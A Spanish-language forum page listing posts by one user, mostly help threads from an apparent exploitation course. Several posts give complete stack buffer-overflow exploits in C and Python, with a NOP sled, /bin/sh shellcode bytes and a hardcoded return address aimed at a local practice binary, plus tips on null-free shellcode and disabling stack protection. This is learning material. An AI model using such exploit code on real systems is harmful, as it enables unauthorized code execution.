Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - mr.blood

#141
Cita de: Sagrini en 26 Febrero 2011, 15:57 PM
Por desgracia el curso está decayendo. No voy a poder dar ninguna conferencia, y Iván está muy ocupado últimamente. Alguien se ofrecería a dar los cursos?

Siento las molestias, pero es algo difícil...

Si pudierais aplazarlo seria genial.

Sino, yo podria ir haciendo pequeños prologos a ratos, sobre programacion o uso de gdb o asi...
Ya sabes, mientras podeis empezar con esto, para que la gente vaya aprendiendo algo.

Sa1uDoS

@Sagrini Agregame al MSN.
#142
Cita de: Sagrini en 25 Febrero 2011, 21:39 PM
No es exactamente eso. Si sólo modificas al puede que el registro te quede 0x42420000 o demás. Para lo que necesitas tienes que hacer una especie de typedef, traduciendo, indicarle al ensamblador cuántos bytes vás a meter...

P. Ej.
Código (asm) [Seleccionar]

push byte 0x1
mov eax, esp

Eso sería mejor, aunque no sé si es correcto :P Movería la dirección de 1 a eax.

Suerte!

Si, pero en el registro te quedara 00000001, lo interesante no es que en el registro no te quede con 0, si no que EN LOS OPCODE'S NO SALGAN LOS 0, y si solo pones AX o AH o AL, depende de los bytes que vayas a meter pues en la shellcode deberia quedar JUSTO.

Sa1uDoS ;).
#143
Utiliza AX en vez de EAX, asi solo envias lo justo y no tiene que rellenar nada. Creo que funcionara.

Sa1uDoS
#144
Podeis fijaros y tomar ideas de Luxur.

http://luxur.comoj.com/

Me parece una idea genial ;).

Sa1uDoS
#145
u.u Grupo 3, si que soy viejo xD.

Tengo CASI todo, SuSe linux 11.1 (i586) pero me falta el Skype.

Sa1uDoS
#146
No, eso que pusiste no es mi code.

Tiene errores, como char nops[23] = ""; es nops[24] ;). Quiza por eso te tira segmentation fault.

Y eso del sprintf que ya te dije ;).




Pon mas informacion, que distro usas ???

Yo uso OpenSuSe y me funciona perfecto.

Sa1uDoS

P.D.:Agregame al MSN si quieres y miramos que es con mas detalle ;).




EDIT:

A mi asi me funciona:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){

char exp[] = "./bof";
char nops[24] = "";
memset(nops, '\x90', 23);
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";

char *cmd;
cmd=(char *)malloc(strlen(exp) + strlen(nops) + strlen(shellcode) + strlen(ret) + 1);

sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);

system(cmd);
free(cmd);

return 0;
}





EDIT2:

Prueba si quieres con una shellcode que he hecho yo ;), aunque la de Sagrini va genial tambien.

#include <stdio.h> /* Para Sprintf */
#include <string.h> /* Para memset */
#include <stdlib.h> /*Para malloc y system */

int main()
{
char name[]="./bof";
char nops[26]="";
memset(nops, '\x90', 25); /* Copiamos el byte 90 25 veces en la variable nops */
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";

char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
cmd=(char *)malloc(sizeof(name)+sizeof(nops)+sizeof(shellcode)+sizeof(ret)+1);/* Reservamos la memoria necesaria
para juntar todo */
sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
puntero cmd, entre name y los demas campos dejamos un espacio */
system(cmd);
free(cmd);/* Liberamos la memoria */
return 0;
}
#147
Porque dejas esto asi ???

sprintf(cmd,"%s %s %s %s", exp, nops, shellcode, ret);

Tiene que ser sprintf(cmd,"%s %s%s%s", exp, nops, shellcode, ret);

Sino es normal que no te funcione ;).

Si lo copias tal y como esta (mi codigo) no te funciona ???

Has compilado vuln como gcc -o vuln vuln.c --no-stack-protector -g -z execstack ???

Sa1uDoS
#148
Yo no he tenido ningun problema en hacer el exploit ni en C, ni en Python ;).

C:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main()
{
char name[]="./bof";
char nops[24]="";
memset(nops, '\x90', 23); /* Copiamos el byte 90 23 veces en la variable nops */
char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret[]="\x18\x1f\x9b\xbf";

char *cmd;/* Definimos un puntero donde juntaremos todo, para llamarlo con system */
cmd=(char *)malloc(strlen(name)+strlen(nops)+strlen(shellcode)+strlen(ret)+1);/* Reservamos la memoria necesaria
para juntar todo */
sprintf(cmd, "%s %s%s%s", name,nops,shellcode,ret);/* Juntamos name, nop, shellcode y ret en el
puntero cmd, entre name y los demas campos dejamos un espacio */
system(cmd);
free(cmd);/* Liberamos la memoria */
return 0;
}





Python:
Código (python) [Seleccionar]
import os
archivo="./bof "
nops="\x90" * 23
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
ret="\x18\x1f\x9b\xbf"

os.system(archivo+nops+shellcode+ret)


Espero haberte ayudado, porque no se si llegaste a resolver tu duda ;).

Sa1uDoS
#149
Yo me apunto, en principio, para aprender, si necesitan tambien puedo colaborar en algunas partes.

Me parece una muy buena iniciativa.

Sa1uDoS
#150
Jeje, con el segundo while acortas codigo :D.

Para poner el codigo resaltado usa el GeSHi osea, pones
Código (lenguaje) [Seleccionar]
[/b] por ejemplo para Python
Código (python) [Seleccionar]
print "Hola".

Sa1uDoS